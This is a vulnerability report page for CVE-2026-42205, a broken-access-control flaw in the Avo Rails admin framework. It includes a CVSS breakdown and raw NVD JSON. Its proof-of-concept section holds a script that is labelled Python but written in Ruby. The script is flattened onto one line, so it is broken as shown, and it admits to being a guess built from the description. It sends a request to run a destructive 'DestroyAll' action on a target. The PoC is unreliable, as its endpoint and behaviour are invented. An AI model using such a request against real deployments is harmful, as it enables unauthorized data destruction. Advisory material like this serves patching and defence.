Security Vulnerability Report
中文
CVE-2026-42205 CVSS 8.8 HIGH

CVE-2026-42205

Published: 2026-05-08 22:16:32
Last Modified: 2026-05-08 22:16:32

Description

Avo is a framework to create admin panels for Ruby on Rails apps. Prior to version 3.31.2, a broken access control vulnerability was identified in the ActionsController of the Avo framework. Due to insecure action lookup logic, an authenticated user can execute any Action class (descendants of Avo::BaseAction) on any resource, even if the action is not registered for that specific resource. This leads to Privilege Escalation and unauthorized data manipulation across the entire application. This issue has been patched in version 3.31.2.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Avo < 3.31.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-42205 # This script demonstrates how an authenticated user might trigger an unauthorized action. # Note: This is a conceptual representation based on the vulnerability description. require 'net/http' require 'uri' require 'json' # Configuration base_url = 'http://target-app.com' resource_id = '1' # ID of the target resource (e.g., a User or Post) action_class = 'Avo::Actions::DestroyAll' # The action class name to execute auth_token = 'YOUR_AUTHENTICATED_SESSION_TOKEN' uri = URI.parse("#{base_url}/avo/resources/#{resource_id}/actions/#{action_class}") request = Net::HTTP::Post.new(uri) request.content_type = 'application/json' request['Authorization'] = auth_token # Or Cookie header # Payload required to execute the action request.body = { action: action_class, resource_ids: [resource_id], fields: {} }.to_json response = Net::HTTP.start(uri.hostname, uri.port) do |http| http.request(request) end puts "Response Code: #{response.code}" puts "Response Body: #{response.body}" # If vulnerable, the server will process the 'DestroyAll' action on the resource # even if 'DestroyAll' was not registered for that specific resource in the admin panel.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42205", "sourceIdentifier": "[email protected]", "published": "2026-05-08T22:16:31.820", "lastModified": "2026-05-08T22:16:31.820", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Avo is a framework to create admin panels for Ruby on Rails apps. Prior to version 3.31.2, a broken access control vulnerability was identified in the ActionsController of the Avo framework. Due to insecure action lookup logic, an authenticated user can execute any Action class (descendants of Avo::BaseAction) on any resource, even if the action is not registered for that specific resource. This leads to Privilege Escalation and unauthorized data manipulation across the entire application. This issue has been patched in version 3.31.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/avo-hq/avo/releases/tag/v3.31.2", "source": "[email protected]"}, {"url": "https://github.com/avo-hq/avo/security/advisories/GHSA-qc5p-3mg5-9fh8", "source": "[email protected]"}]}}